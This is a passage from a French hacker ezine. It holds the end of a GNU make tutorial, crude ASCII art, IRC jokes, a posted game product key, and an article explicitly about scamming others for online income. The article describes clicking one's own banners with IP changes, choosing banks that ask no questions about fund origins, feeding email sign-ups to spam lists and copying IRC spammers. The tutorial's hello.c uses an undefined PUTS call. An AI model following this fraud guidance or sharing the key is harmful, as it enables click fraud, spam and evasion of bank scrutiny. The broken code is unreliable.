La ligne 5 affecte la valeur "Pear" à la macro OBJECT, mais l'affectation de la
ligne de  commande "OBJECT=apple"  est prioritaire.  On peut  donc dire  que la
commande make effectue d'abord toute les affectations de macros dans le fichier
make, puis celles éventuellement rencontrées sur la ligne de commande.

  >> Utiliser les variables d'environnement
La commande  make peut  également prendre  des valeurs  de l'environnement.  En
utilisant une nouvelle  fois le fichier  make du listing  (3.0), voyez si  vous
pouvez écraser une macro avec une variable d'environnement exportée :

|#| bash$ OBJECT=walnut make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$

C'est étonnant, ce  test semble ne  pas fonctionner, En  réalité, les variables
d'environnement n'écrasent pas les affectations de macros d'un fichier make. Si
la  macro  OBJECT  n'avait  pas  été  définie  dans  notre  fichier  make,   la
substitution aurais été  effectuée. Pour preuve,  mettez la ligne  5 du listing
(3.0) en commentaire et essayez de nouveau.

|#| bash$ OBJECT=walnut make
|#| One walnut
|#| Two walnuts
|#| Three walnuts
|#| bash$
`
Cette fois, aucune affectation de macro ne figurant dans le Makefile, la valeur
de la variable d'environnement OBJECT demeure et est utilisée comme attendu.

 _= Listing (4.0) Makefile avec l'affectation de la macro mise en commentaire=_


|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   # Revision: 1.3 $
|#| 3:
|#| 4:
|#| 5:   #OBJECT= Pear
|#| 6:
|#| 7:   All: one two three
|#| 8:
|#| 9:   one:
|#| 10:     @echo one $(OBJECT)
|#| 11:
|#| 12:  two:
|#| 13:     @echo Two $(OBJECT)s
|#| 14:
|#| 15:  three:
|#| 16:     @echo Three $(OBJECT)s
|#| 17:
|#| 18:  # End Makefile

 
 >> Utiliser le paramètre -e
Un paramètre  de make,  -e, permet  à l'environnement  d'écraser les  macros du
fichier make. Toutefois, utilisez-le prudemment, car l'environnement peut  être
modifié bien plus que vous ne le pensez. En reprenant le fichier make d'origine
du listing vous pouvez tester cette règle :

|#| bash$ OBJECT=walnut make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$ OBJECT=walnut make -e
|#| One walnut
|#| Two walnuts
|#| Three walnuts
|#| bash$

       - Vous avez exporté la variable d'environnement OBJECT et exécuté la
         commande make, mais la variable OBJECT n'a aucun effet

       - Vous avez exportez la variable d'environnement OBJECT une nouvelle
         fois, mais exécutez ici make avec le paramètre -e. Cette fois, la
         variable d'environnement OBJECT influence le résultat.

            ++ Lorsque vous comptez sur des variables d'environnement dans un
               fichier make, assurez-vous qu'elles sont bien exportées de votre
               shell. Assurez-vous également de bien comprendre ce que la
               commande d'exportation intégrée effectue dans le shell bash.


 >> Les suffixe de fichiers
La  commande  make est  très  largement dépendante  des  suffixes de  fichiers,
desquels elle déduit  le type du  fichier. Grâce à  des conventions, elle  peut
appliquer  des règles  de déduction  par défaut.  Avant d'étudier  ces  règles,
regardons quelques suffixes connus de make, dans le tableau (1.0)

Tableau (1.0)

   - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   > Suffixe de fichier < | > Description                  <
   - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
   ] .c                   | Module source en langage C     [
   ] .h                   | Fichier d'en-tête en lengage C [
   ] .cc                  | Module source en langage C++   [
   ] .o                   | Fichier objet compilé          [
   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 


 >> Comprendre les règles de déduction
La puissance de la commande make propose en partie sur ces règes de déductions.
Mais ceux-ci peuvent  être une source  de frustration lorsqu'elles  ne sont pas
bien comprises.( exemple tiré d'un fait vécue : essayer de sodomiser sa boite à
malle )
                =|
             /---|---
      8=====D|______|
                  ||
                  ||
                  || (c) Walt Disney
 
 > Tester les règles de déduction par défault
Ecrivez ce ptit programme - hello.c -

|#| 1:   #include <stdio.h>
|#| 2:   int main(int argc, char **argv) {
|#| 3:   
|#| 4:   	(void) argc;
|#| 5:   	(void) argv;
|#| 6:
|#| 7:  	PUTS("Hello World!");
|#| 8:		return 0;
|#| 9:   }


        /\   Pause publicitaire payée en nature par JoJo savard
       /  \     Qui vous dit :
     <      >                     1-800-Dit-moi-pas?
       \  /    "salut mes chouuuxx mieux ruiner c'est mieux que vaut l'astre
        \/     est dans la lune, la lune est dans le ciel suivez votre bonne
               étoile."

                 hooo, un beau message d'espoir pour le temps des fêtes ;)
                           mon coeur se contient plus.
                   ...
                   qqn est partant pour coder a ze power di-kRypt3rz 3000 for
                   j0j0 s4vardz?



Bon, une fois votre programme écrit, testez ensuite les règles de déductions
par défault de make, comment indiqué dans le listing (4.5).

    _= Listing (4.5) Tester les règles de déduction de hello.o de GNU make=_

|#| 1:   bash$ mkdir experiment
|#| 2:   bash$ cd experiment
|#| 3:   bash$ cp ../hello.c .
|#| 4:   bash$ >Makefile
|#| 5:   bash$ make hello.o
|#| 6:   cc -c hello.c -o hello.o
|#| 7:   bash$ type cc
|#| 8:   cc is /usr/bin/cc
|#| 9:   bash$ls -dl /usr/bin/cc
|#| 10:  lrwxrwxrwx  1  root   root  3 Dec 15 2002 /usr/bin/cc -> gcc
|#| 11:  bash$

Voici les étapes de ce test :

1. Vous créez un répertoire dans lequel travailler ( ligne 1 )

2. Vous passez dans ce répertoire ( ligne 2 )

3. Vous recopiez votre programme hello.c dans le répertoire en cours (ligne 3).
   Remarquez que le répertoire source de hello.c peut être différent dans votre
   cas.

4. Vous créez un Makefile vide dans lequel make pourrat travailler ( ligne 4 ).

5. Vous invoquez make avec le Makefile vide dans le répertoire en cours (ligne 5)
   Indiquez explicitement le nom de cible hello.o à make, car le Makefile ne
   contient aucune cible définie.

6. La commande make s'exécute, montrant que sa règle interne déduit que hello.c
   doit être compilé par un compilateur C pour produire hello.o ( ligne 6 ).

7. Vous demandez au shell d'où provient cc ( ligne 7 ). Le shell indique le nom
   du chemin à la ligne 8.

8. Vous invoquez la commande ls avec le paramètre -dl ( ligne 9 ) et découvrez
   que la commande cc est un lien symbolique vers la commande gcc ( ligne 10 ).

Indépendamment du fait que la règle ne fournit pas les paramètres -D_GNU_SOURCE
et -Wall, tout se passe très bien sans aucune aide de votre part. Ces résultats
pouvant  être  légèrement  différents  de  ceux  attendus,  vous  devez définir
explicitement une règle correspondant à vos besoins.


 >> Définir une règle de déduction
Le listing (5.0) présente un fichier make de démonstration contenant une règle
de déduction.

      _= Listing (5.0) Une règle de déduction de make =_

|#| 1:   CC = gcc
|#| 2:   STD = _GNU_SOURCE
|#| 3:   
|#| 4:   .c.o:
|#| 5:      $(CC) -c -Wall $(CFLAGS) -D$(STD) $< -o $@

La ligne 1 montre la façon conventionnelle de choisir votre compilateur dans un
fichier  make,  avec la  macro  CC. Ici,  la  macro pointe  directement  sur le
compilateur gcc. La ligne 2 définit la macro STD permettant de sélectionner  le
standard sous lequel le compiler. La cible de la ligne 4 est d'un type spécial:
elle est composée du suffixe du fichier d'origine et de celui du fichier cible.
En définissant une cible sous cette forme, vous définissez en réalité une règle
de déduction destinée à make.
    

     ^
    / \
   /   \
  /  A  \ ttention ------------------------------------------------------------
 /_ _ _ _\
          
    /     Ne définissez jamais de dépendance pour une règle de déduction. La
   /      commande make ignore les dépendances des règles de déduction.  Sur 
  /__ _   certaines plates-formes UNIX, la règle n'est pas interprétée comme
          une règle de déduction lorsque des dépendances sont indiquées
          ---------------------------------------------------------------------


La ligne 4 définit une règle  de déduction indiquant que si vous  dispoez d'une
cible constituée  d'un fichier  objet (*.o)  et constatez  que vous disposez du
fichier  d'entrée  correspondant  avec   le  suffixe  .c,  vous   exécutez  les
instructions qui suivent.

 >> Instruction à exécuter
La ligne 5  du listing (5.0)  représente la seule  instruction à exécuter.  Une
instruction doit commencer par un caractère de tabulation. Les espaces ici sont
interdites. Il peut y avoir plusieurs  actions, mais une  seule est nécessaire.
Notez également que si la commande  de l'action commence par un caractère  "@",
make supprime l'affichage  de la commande  sur la sortie  standard. Vous l'avez
peut-être remarqué aux lignes 5, 8 et 11 du listing (2.0)


                ____
|| |\ || ||=== | _  |
|| | \|| ||=   ||_| |
|| | \ | ||    |____|_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ _ _ ______ _ _ _ _ _ _ _ __

Les lignes  d'action d'un  fichier make  doivent commencer  par une tabulation.
Certains éditeurs insistent sur  l'utilisation des blancs lorsque  vous appuyez
sur la touche Tab. Vérifiez que le premier caratère est bien le caractère ASCII
de tabulation, sinon make ne l'accepte pas comme instruction à exécuter.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- --  - -  -- -- 



La ligne 5 du listing (5.0) décrit une instruction de compilation faisant grand
usage des macros. La plupart sont aisément compréhensibles.
Cela nous laisse deux macros d'aspect bizzare : "$<" et "$@".

  
 >>Les macros intégrées
La commande make gère au moins six macros intégrées. Celles-ci sont différentes
des macros  définies par  l'utilisateur, car  elles n'ont  jamais besoin d'être
définies. Elles  sont gérées  en interne  par la commande make  et leur  valeur
change en fonction des règles de déduction.

Les plus importantes de ces macros sont présentées au Tableau (2.0)

Tableau (2.0)

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 > Nom de macro       < | > Description                                      <
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ] $*                   | Cette macro fournit l'élément nom de fichier du    [
 ]                      | dépendant actuel ( le suffixe étant supprimer      [
 ]                      |                                                    [
 ] $@                   | Cette macro fournit le nom complet, avec le        [
 ]                      | suffixe de la cible actuelle.                      [
 ]                      |                                                    [
 ] $<                   | Cette macro fournit le nom de fichier dépendant    [
 ]                      | complet, avec le suffixe.                          [
 ]                      |                                                    [
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Dans la session  étudiée au listning  (4.5), la ligne  5 désigne hello.o  comme
cible, Dans  la règle  de déduction  des lignes  5 et  6 du  listing (5.0), les
valeurs du Tableau (3.0) ci-dessous devraient être indiquées.

Tableau (3.0)

   - - - - - - - - - - - - - - - - - - - - - - - - 
   > Nom de macro       < | > valeur de la macro <
   - - - - - - - - - - - - - - - - - - - - - - - - 
   ] $*                   | "hello"              [
   ] $@                   | "hello.o"            [
   ] $<                   | "hello.c"            [
   - - - - - - - - - - - - - - - - - - - - - - - -


Souvez-vous que ces  macros intégrées ne  possèdent de valeur  qu'à l'intérieur
d'une règle  de déduction.  La macro  $< comporte  une petite  exception, et au
moins deux autre macros intégrées ont d'autres usages.


 >> La macro CFLAGS
La macro CFLAGS est utilisée  pour contenir d'autres paramètres du  compilateur
C.  Si elle   n'est  pas   définie  dans   le  fichier   make,  vous   avez  la
possibilité d'initialiser  une variable  d'environnement  pour  la session  dec
compilation en cours.

  > Utiliser CFLAGS à partir du shell
Une habitude courante consiste à utiliser  la macro CFLAGS pour effectuer (  ou
non ) une compilation en mode débogage. Notez le déroulement de cette procédure
dans cette exemple :

|#|   bash$ rm hello.o
|#|   export CFLAGS=-g
|#|   bash$ make hello.o
|#|   gcc -c -Wall -g -D_GNU_SOURCE hello.c -o hello.o
|#|   bash$

Voici la procédure utilisée ici :

1. Vous prenez soin de vous débarrasser du dernier hello.o créé ( sinon, make ne
   se sentira pas obligé de le recréer )

2. Vous définissez et exportez la variable d'environnement CFLAGS avec le 
   paramètre de mise au point de gcc -g.

3. A partir de maintenant, lorsque vous compilez, la commande make prend
   automatiquement la valeur exportée de CFLAGS et l'applique à la ligne de
   commande ( Remarquez que le paramètre -g apparaît dans la commande gcc ).

On peut utiliser la même technique pour recompiler afin d'optimiser au lieu  de
déboguer. Ce petit truc s'avère  particulièrement utile lorsque le Makefile  se
trouve contrôlé par un RCS ; il n'est pas nécessaire de le modifier.

Joyeux noël : ut2k3 : lyr22-rz743-a9d7t-cnnen :



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                acidmen@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




  < Mindkind tales from IRC >

  [16:55] <Wyzeman> jpeu tu hypotequer mes futur par de mindkind ?
  [16:55] <LastCall_> hahaha
  [16:56] <LastCall_> le gars fini par écrire un livre
  [16:56] <LastCall_> "J'ai basé ma vie sur un ezine et un channel IRC"
  [16:56] <LastCall_> par Wyzeman de Mindkind
  [16:56] <LastCall_> pendant ce temps ya
  [16:56] <Wyzeman> LastCall_ __2 a bien reussi sa vie a cause de iga
  [16:56] <Wyzeman> sa job qui a la, il la eu a cause de iga
  [16:56] <LastCall_> "Comment je suis devenu millionaire en patentant le code open source et/ou GPL"
  [16:56] <Wyzeman> moi jai eu un hub 3com
  [16:56] <LastCall_> par LastCall_
  [16:56] <LastCall_> et
  [16:56] <Wyzeman> hahaha
  [16:57] <LastCall_> "Comment je suis devenu milionaire en crossant LastCall_ "
  [16:57] <LastCall_> par MindFlayR
  [16:57] <LastCall_> haha
  [16:57] <Wyzeman> hahaha
  [16:57] <LastCall_> hahaha

  < ----------------------- >



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.03 L'extrémité de l'Arc-en-ciel.com                 \        \     !
     .             aka                                         \        \    .
     ;       40 PKP en show dans un trou de terre               \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Pour plusieurs  raisons j'aimerais  faire une  petite intro  à cet article tout
d'abord parce que  j'ai moi même  hésité 2 ans  pour l'écrire car  on parle ici
d'un secret bien gardé et aussi parce  que ceux qui le connaisse ne seront  pas
forcément très heureux que je dévoile  tout les petits détails du métier.  Bien
sur je ne divulguerai  pas ma/mes techniques parce  que se serait à  la fois me
priver d'un  revenu potentiel  mais aussi  une porte  d'entrée aux abuseurs qui
pourrait ruiner cet art.


Table des matières :
--------------------

1: Véritable intro
2: Théorique (philosophie/buts/espérances)
3: La banque (Choisir/expériences/retour)
4: Les commanditaires (WTF?/?/!/Retour)
5: Stratégies (Actif-Passif/pi0n/emprunt) 
6: Optimisation (Linux)
7: Les déceptions du métier
8: Liens utiles (Commanditaire/TGP)
9: Conclusion.

---------------------------------------------------------------------

1- Véritable introduction

Je voulais écrire un article sur un truc technique de la mort du genre  comment
overclocker un VAX avec du vieux cheeze-weeze mais j'ai du me résigner à écrire
premièrement  sur quelque  chose que  je connais  plus que  tout,  c'est-à-dire
comment escroquer les autres.

Ont peut dire que j'ai une grande expérience de l'enrichissement personnel  sur
Internet, jai débuté avec xpics, premier sponsor vraiment payant ou on  pouvait
faire le motton en cliquant sur nos bannières nous même et en déconnectant pour
avoir  un  nouveau IP.  Ensuite  il y  a  eu les  "Pay  to surf"  gotoworld  et
alladvantage  qui nous  promettaient fortune  et gloire  si l'ont  parvenait  à
ramasser  un  max de  "referals"  comme dans  une  grosse pyramide  pyramidale!
(hehe). Ensuite il y eu les  script de bannerclick sur eFnet avec  lesquels ont
arrivait a se générer  un beau butin en  peu de temps. Cette  époque fût suivie
d'une légère aventure du coté de la P0rn buisness que jai finalement  abandonné
par manque de temps.  

Mais maintenant, qu'est-ce qui me reste ? .. c'est un secret :)). Cet article a
pour but de vous enseigner l'art de concevoir vos propres magouilles et de  les
optimiser légalement et  efficacement de façons  à pouvoir vous  aussi profiter
rapidement de plein d'argent mal acquit.

Secret?.. oui! Malheureusement je ne suis pas sur le point de mettre fin à  mes
activités dans  ce domaine  et comme  vous donner  mes trucs  conduirait à  une
réduction potentielle de mon revenu je répète encore que vous ne trouverez  ici
que la méthode permettant de développer soi-même sa stratégie. 

Si par erreur vous tentez de me  poser des questions sur ce sujet, je répondrai
par un silence. Soyez content de cet  article et n'en demandez pas plus car  on
parle ici de vrai argent et de connaissances qui sont très utiles monétairement
parlant.  


2- Théorique

- Un peu de philosophie

Se lancer  dans le  monde de  l'enrichissement personnel  sur Internet  est une
longue  et  fastidieuse aventure  qui  vous amènera  à  faire plusieurs  choix,
premièrement sur votre éthique personnelle car quelqu'un qui s'y met vraiment a
fond peut récolter de faramineuses sommes  et se payer une ferrari mais  a quel
prix ?  Vous avez  sûrement déjà  émis quelques  plaintes à  la réception  d'un
courriel non sollicité. Si vous voyez ce que je veux dire...  (j'y reviendrai) 

Vous aurez aussi plusieurs compromis à effectuer, utiliserez vous une technique
totalement  légale?,  semi-légale?,  légale  à  l'étranger  (hide  and   pray),
complètement illégale? ($$$), Vous aurez  aussi des compromis à faire  du genre
le profit vis à vis  vos ressources. Plusieurs techniques nécessitent  beaucoup
de bande passante et d'argent. Ce qui peut s'avérer rentable ne le demeure  pas
toujours. 

- Quoi viser?

Premièrement vous devez  établir votre stratégie,  trouver l'idée première,  LA
stratégie qui vous rapportera de l'argent, il vous faudra ensuite vous  trouver
quelqu'un qui vous payera, vous devrez  aussi faire affaire avec une banque  et
tenter  d'optimiser  au maximum  votre  méthode de  façon  à atteindre  le  but
ultime... l'effort 0. 

- $$$$?

Je  me rend  compte que  si vous  êtes rendu  à lire  ici c'est  que vous  êtes
particulièrement  intéressé,  mais  au  point de  finir  la  lecture?  Le cyber
-entrepreneur moyen,  qui fait  sa business  sur Internet  dans, par exemple le
monde de la  pornographie reçoit un  salaire annuel d'environ  160K USD/ans. On
parle ici d'une business à temps plein.  Le petit escroc que je suis, avec  une
stratégie  d'effort  0 peaufinée  peut  facilement récolter  ~700$USD  par mois
(1292.72$CAD). Et ce je vous rappelle en ne faisant aucun effort.  


3- Passez GO et recevez l'argent de la banque.

- L'importance de choisir
      
Comme  vous vous  en doutez  sûrement la  majorité des  fonds que  vous  pouvez
espérer récolter est  en devises étrangères  donc il vous  faudra faire affaire
avec une banque. Mais laquelle choisir  ? celle avec un service rapide  ? celle
avec un gros transit ? celle qui posera le moins de questions?

Parmi les banques du  Québec, j'ai fait affaire  avec deux des principales,  La
banque royale et Desjardins. Oui oui je sais que Desjardins est une caisse mais
pour la cause nous l'insèreront dans la classe des banques aussi car croyez moi
elle a  beaucoup plus  de points  communs que  de différences  avec les  autres
banques. 

      - La banque royale
            - Transit de base      : 100$
            - Frais aux transactions: 0.25$ (ou illimité 4$/mois)
            - Gel de fonds            : 5 jours ouvrables
            - Autre             :
                  La banque royale dispose de plus de budget que
                  Desjardins et pour cette raison il y a plus 
                  d'heures d'ouvertures et moins d'attente.
                  À noter que leurs employés ne posent jamais de
                  questions indiscrètes.

      - Desjardins
            - Transit de base      : 500$
            - Frais aux transactions: 0.25$ (ou forfaitaire)
            - Gel de fond !!      : 20 jours ouvrables
            - Autre                  :
                  Desjardins possède le pire service qu'un client
                  peut espérer, de longues filles d'attente, une
                  durée de gel de fond sur les capitaux étrangers
                  trop longues et en plus des employés qui posent
                  des questions indiscrètes sur la provenance de
                  vos fonds. 

Pour échanger  de la  monnaie étrangère  je vous  suggère d'aller  à la  banque
royale, bien que le  transit ne soit que  de 100$ vous n'aurez  qu'a attendre 5
jours ouvrables  (soit une  semaine) pour  encaisser le  tout. Petite  note sur
Desjardins : si vous voulez effectuer un prêt personnel je vous suggère d'aller
les voir car ils ont  de très bon plans pour  les étudiants à comparé à  Royale
qui voudrons vous vendre une visa. 

- Return(0);

Il existe plusieurs autres banques mais je ne les ai pas toutes  expérimentées.
De toutes  façon ce  qu'il est  important de  se rappeler  c'est de ce que vous
aurez  vraiment  besoin,  en  l'occurrence  des  services  privés  rapides   et
avantageux sur les conditions de réception  de l'argent, car vous ne devez  pas
oublier ceci : contrairement aux chèques habituels si vous déposez un chèque de
devise étrangère  dans un  guichet automatique,  vous seriez  mieux d'avoir  le
temps parce que le temps de traitement est presque triplé. 


4- Les commanditaires

- WTF?

Vous voici rendu à l'étape où  vous choisissez votre machine à sous.  Quelqu'un
devra vous  payer, mais  qui?. Il  existe des  centaines de  commanditaires sur
Internet et une très grande majorités feront faillite demain matin pour laisser
leur place à d'autres. Il ne faut surtout pas oublier que dans ce métier si  le
"patron" ne vous paye pas vous ne pouvez pratiquement RIEN CONTRE LUI. Si  vous
ne choisissez pas un bon commanditaire vous avez toutes les chances du monde de
pleurer dans 3 mois quand vous ne recevrez pas votre chèque. 

-!
      Mais quoi évaluer pendant son choix ?

Premièrement les programmes, la plupart des commanditaires offrent une gamme de
programmes du  genre Pay-per-click,  pay-per-impression pay-per-email,  pay-per
-signup,  pay-per-(ETC...).  Presque   tout  ces  programmes   contiennent  une
"attrape". Par exemple un commanditaire peut vous donner 0.25$ du click sur une
bannière mais avoir un ratio de conversion. Ce ratio c'est ce qui calcule votre
nombre de  click versus  les inscriptions  au site  généré par  votre lien. Par
exemple  si  vous  avez 50$  en  click  et 2  inscriptions  légales  vous aurez
probablement un ratio de 1:1 ce qui maintiendra votre pay-rate à 0.25$. Mais si
vous avez  50$ et  0 inscription  votre ratio  sera tellement  bas que  vous ne
gagnerez  probablement plus  que 0.003$  par click  voir même  vous vous  ferez
mettre à la cyber-porte.  

Pay per signup est généralement très  payant ~50$ de l'abonnement mais un  site
qui fonctionne au "signups" est généralement beaucoup trop dur à maintenir pour
un étudiant. En effet,  un site qui fait  son argent avec de  vrais abonnements
devra avoir du  bon matériel toujours  renouvelé pour que  les clients affluent
car ils doivent payer si vous voulez vous enrichir. 

Le gros  programme facile  de nos  jours (et  je vous  ment pas)  c'est pay per
email. Le  "client" entre  son email  pour recevoir  des "free  pictures" et se
ramasse avec 25mo de e-mail de  junk a chaque jour. Les compagnies  qui offrent
ce genre de programme  peuvent payer jusqu'a 1$USD  par e-mail validé que  vous
leur donnez. Mais comment font-il pour  payer ? Premièrement ils sont payé  par
les contenu des e-mail de  junk qu'ils envoient. Certains "promoteur"  achètent
des espaces d'affichage dans les e-mail de "free pics". Mais ce n'est pas tout,
les compagnies revendent aussi leur  listes aux spammers ce qui  leur procurent
un bon  second revenu.  De toute  façon, cela  ne nous  intéresse pas vraiment,
retenez  seulement  que  c'est  le  meilleur  programme  disponible,  payant et
versatile. 

- Return(0);

Retenez  aussi  que  peu  importe  le  nouveau  programme  disponible  ont peut
facilement trouver sa valeur de  rentabilité avec une semaine d'essaie.  Prenez
votre technique éprouvée favorite et soumettez la à votre commanditaire si  vos
profits baissent  trop ou  que votre  effort à  fournir devient trop important,
foutez  le programme  à la  poubelle ou  optimiser le  tout pour  que  l'effort
retourne à 0 (voir optimisation). 


5- Axis And Allies (AAA)
      
Alors l'ado, tu es en recherche de 'LA' façon de t'enrichir !? Heh bien j'ai la
solution à  tes problèmes  !!! Ou  plutôt, l'explication  de la  solution a tes
problèmes. 


- Stratégie Active ou Stratégie Passive

Bien que vous soyez encore très peu renseigné sur les déférentes stratégies que
tout le monde utilise et qui donne un revenu assez moyen, j'aimerais, avant  de
vous  introduire à  ces stratégies  de base,  porter un  peu le  focus  sur  la
signification de stratégie active et celle de stratégie passive. 
      
      -Active:
            Désigne une stratégie où l'entrepreneur doit constamment
            fournir un effort pour maintenir et garder en vie
            sa petite entreprise. Cette stratégie donne généralement
            un plus gros revenu mais demande trop de temps. Je
            vous conseille fortement de ne jamais vous diriger
            vers un tel model.

      -Passive:
            C'est ce que vous recherchez, le moins d'effort possible
            pour un revenu optimal. (Voir optimisation) 


- Le pion ?

Maintenant que vous en  savez plus sur les  commanditaires, vous vous devez  de
les  fournir  de "pions"  pour  qu'à leur  tour  il vous  fournissent  de beaux
dollars. En fait, c'est ce qu'il y a de plus dur à faire dans ce métier, amener
des foules de personnes ~40k  (toujours dans l'optique d'une stratégie  légale)
sur vos sites pour agir de machine à sous. 

Admettons que vous possédez un site  web et que vous voulez y  ramener, disons,
30 000 personnes demain  matin. Est-ce possible ?..  .. oui! il faut  seulement
savoir comment s'y prendre. Il est évident que le type de site influe  beaucoup
:0}. 

Pour  cet  exemple nous  allons  prendre un  site  web standard  contenant  une
commandite par email  et 10 photos  d'une 'strip /dev/girl'.  Ce genre de  site
s'appelle  un  site  de  "thumbnails"  il  est  généralement  utilisé  par  les
propriétaires de  site webs  pour promouvoir  leur propre  site. Par exemple le
site A  produit 40  mini pages  de thumbnails  et place  sur chacune  d'eux une
bannière qui est directement lié à son propre site. Ce qui redirige a coup  sûr
les pions sur le site principal. 

Ces "thumbnails" site sont souvent postés dans des répertoires gratuits où tout
les  pions  peuvent   consulter  à  chaque   jour  plusieurs  sites   du  genre
gratuitement.  (voir  références à  la  fin). La  question  à se  poser  est la
suivante :"Si je ne  suis pas un gros  site budget, puis-je moi  aussi poster?"
Oui ! et croyez moi, sa rapport beaucoup de visites. 

L'idée est simple, vous  créer 30 pages différentes  et vous en postez  une par
jour. Les revenus viendront rapidement.  C'est d'ailleurs la stratégie la  plus
simple et  elle est  très bien  connue de  tout le  monde. Elle à l'avantage de
ramener légalement  les pions  à votre  site mais  le désavantage  de consommer
beaucoup de bande passante. 

Une autre stratégie qui se lie bien avec celle des TGP consiste à échanger  des
liens  "linkexchange"  c'est-à-dire  que vous  allez  placer  une bannière  par
exemple sur un site  et cette bannière sera  liée a un autre  site de quelqu'un
comme  vous.  Plus votre  site  génère de  click  plus votre  site  est affiché
ailleurs donc vous êtes plus visité et tout le monde est content. 

Bien sur ces  stratégies ne sont  pas très optimales  et demande trop  de temps
pour atteindre l'objectif  effort 0 sans  pour autan empêcher  une optimisation
adéquate qui  vous permettra  peut-être, si  vous êtes  intelligent, un gros 10
minutes de maintenance par jour. 

Si vous cherchez désespérément une stratégie illégale pensez a copier ceux  qui
en ont déja une. Par exemple les personnes qui spam "hello im virginia visit my
web site"  sur irc  ont sûrement  un bon  revenu sinon  ils ne le feraient tout
simplement pas. 


-6 Optimisation

Linux...  le  meilleur ami  de  l'entrepreneur web,  véritable  robot culinaire
automatisé et indépendant. Linux est la clef du succès d'une bonne optimisation
de stratégie passive  car il permet  avec de bonnes  connaissances en scripting
d'automatiser 100% des fastidieux processus exigés par le métier. 

Par  exemple,  quelqu'un  d'intelligent  pourrait  reprendre  la  bonne vieille
technique  du  TGP  (thumbnails)  et  l'automatiser  en  entier,  ou   presque.
L'ordinateur prend les photos dans  un répertoire, crée des thumbnails,  génère
le fichier html et upload le tout.  Il envoie ensuite une demande de post  pour
ce même site avec un message random  prit dans une mini-db de message du  genre
"hello, take my daily pics" et il soumet la requête a l'administrateur du site.
il  vérifie ensuite  combien d'argent  votre commanditaire  vous doit  et  vous
génère un .html  qui s'inclut automatiquement  dans votre page  de démarrage de
votre browser favori. 

Linux peut tout automatiser ce que l'utilisateur peut faire il s'agit seulement
se  savoir comment  lui dire,  pour de  plus amples  informations sur  le  bash
scripting avancé j'ai fourni un lien très complet sur le sujet dans la  section
"liens utiles".

N'oubliez jamais qu'il vaut mieux passer  2 jours à scripter un robot  qui fait
votre travail que de faire ce même travail à tout les jours. 


-7 Les déceptions du métier.

Malheureusement, ce métier ne comporte pas que des avantages dans ce monde tout
les acteurs sont la  pour s'enrichir et ils  ne sont pas toujours  "fair-play".
Par exemple il peut vous arriver  (et ça m'est arrivé souvent) de  générer 200$
par semaine pendant  un mois et  ne pas me  faire payer du  tout, c'est un  des
risques mais il  ne faut pas  plier. La meilleure  façon d'éviter une  fâcheuse
situation comme  sa c'est  probablement de  commencer par  de petits  montants.
Limitez vos gains  à 50$ par  semaine et vérifiez  si votre commanditaire  vous
paye. Ensuite augmentez.

Si  vous utilisez  une stratégie  plus illégale  vous pouvez  aussi  avoir  des
problèmes avec la justice. La  plupart des commanditaires ne vous  poursuivront
pas s'il vous attrape à tricher. Il se contenteront d'annuler votre acompte  et
de bannir votre adresse. Mais si  vous utilisez des méthodes dérivés pour  vous
abreuver de pions,  faites bien attention  que les gros  bonnets ne s'intéresse
pas trop à vous. J'ai  un ami qui en est  à sa huitième mise en  demeure par le
MPAA et par Microsoft.

Si  vous  êtes prit  dans  une situation  du  genre, ne  paniquez  surtout pas.
Remédiez à la situation et continuez vos activités. Soyez seulement prudent  de
ne pas pousser la "vis" trop loin.
      

-8 Liens utiles :

      YnotMasters: 
      http://www.ynotmasters.com/
      Un site de ressource pour les webmaster de pages payante. 
      C'est un des meilleur endroits sur le web pour vous trouver 
      un commanditaire fiable. Ils ont un système de "ranking" 
      pour les commanditaires.
      
      The Hun
      http://www.thehun.net/
      Un TGP visité par plusieurs millions de personnes par jours.

      Amp Land
      http://www.ampland.com/
      Un autre TGP très connu.

      Advanced Bash Scripting.
      http://www.tldp.org/LDP/abs/html/index.html
      LA référence en bash scripting avancé. vous ne trouverez 
      pas mieux c'est garanti.


-9 Conclusion
      
Voila, vous avez maintenant  les bases requises à  un bon départ dans  ce monde
lucratif. Bien  sur j'aurais  pu vous  donner des  stratégies illégales mais je
préfère les garder pour  moi. Parce que je  ne suis pas vraiment  convaincu que
les divulguer serait une très bonne  idée en regard de mon revenu.  Peu importe
ce que vous ferez, gardez toujours en tête une optimisation adéquate pour faire
le moins d'effort possible. Comme ça vous pourrez passez plus de temps à  faire
autre chose de plus constructif pour l'humanité comme jouer à Counter-Strike ou
convaincre des gens avec des QI de singes sur IRC que vous êtes dieu réincarné.



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               initnull@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





  < Mindkind tales from IRC >
  
  [14:43] <init_jobe> [14:13] *** [FunkY] has joined #mindkind
  [14:43] <init_jobe> [14:15] *** [FunkY] was kicked by Amsterdam.nl.eu.undernet.org (Net Rider)
  [14:43] <init_jobe> [14:20] *** [FunkY] has joined #mindkind
